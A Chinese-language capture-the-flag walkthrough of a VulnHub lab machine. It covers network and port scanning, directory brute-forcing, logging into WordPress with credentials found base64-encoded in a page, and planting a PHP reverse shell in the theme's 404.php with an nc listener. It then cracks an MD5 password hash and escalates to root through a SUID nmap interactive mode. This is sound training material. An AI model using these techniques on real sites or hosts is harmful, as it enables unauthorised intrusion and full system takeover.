主机来源:www.vulnhub.com
准备工作
下载.ova文件,直接双击即可安装成功。
设置连接方式为NAT,攻击机器使用kali,也设置为NAT。
发现IP
刚安装的虚拟机并不知道IP地址,使用netdiscover发现IP。
root@kali:~# netdiscover -i eth0 -r 10.0.3.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.3.1 00:50:56:c0:00:08 2 120 VMware, Inc.
10.0.3.2 00:50:56:ff:6c:8b 1 60 VMware, Inc.
10.0.3.142 00:0c:29:60:b9:7b 2 120 VMware, Inc.
10.0.3.254 00:50:56:e2:86:33 1 60 VMware, Inc.
发现IP为10.0.3.142。
端口发现
使用nmap进行端口扫描。
root@kali:~# nmap -sV -p- -A 10.0.3.142
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 17:20 CST
Nmap scan report for 10.0.3.142
Host is up (0.00052s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
MAC Address: 00:0C:29:60:B9:7B (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.52 ms 10.0.3.142
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.25 seconds
目录爆破
没有什么有价值的端口,就80端口看网页把。
进行目录爆破。
dirb http://10.0.3.142
发现的有用的目录:
我们先访问http://10.0.3.142/robots.txt
找到第一个key,我们查看一下。
key1:073403c8a58a1f80d943455fb30724b9
查看下一个目录:http://10.0.3.142/license
一直往下拉,拉到最后,看到一个base64编码的字符:ZWxsaW90OkVSMjgtMDY1Mgo=
解码后:elliot:ER28-0652
猜测是某登录界面的账号密码。
刚才扫到的目录中有wp-login,我们访问。
刚好是一个登录界面,我们使用刚才发现的账号密码来登录。
登录成功,进入后台。
Getshell
我们从后台来找到getshell的方法。
选择appearance->editor
我们就选择右边第一个404.php来写入我们的脚本文件。
我们使用kali官方的shell:
shell:/usr/share/webshells/php/php-reverse-shell.php
将此处改为自己的IP,并设置自己的端口。
将文件写在404.php中。
点击update file
上传成功。
开启监听:nc -lp 4444
访问任意一个不存在的页面,shell被弹回。
快乐!
然后我们将简单的shell转换成为完全交互式的TTY。
python -c 'import pty;pty.spawn("/bin/bash");'
切换用户
发现一个robot用户。
我们去看下robot用户下有什么文件。
看到了key2,但用户是robot,我们没有读权限,同时发现password.raw-md5文件,我们打开看一眼。
解密这串字符。
然后我们切换到robot用户。su robot,然后输入密码。
获得key2
提权
接下来就一定是要提权到root了,版本的漏洞试过了没有提权成功,我们试着用SUID进行提权。
运行以下命令来发现系统上运行的所有SUID可执行文件,具体来说,命令将尝试查找具有root权限的SUID文件。
find / -user root -perm -4000 -print 2>/dev/null
我们发现了nmap,较旧版本的nmap(2.02-5.21)具有交互模式,允许用户执行shell命令,由于nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
nmap -v
版本是3.81,可以执行交互命令。
交互模式可以通过执行nmap参数“interactive”
提权成功。
key3完成。
快乐~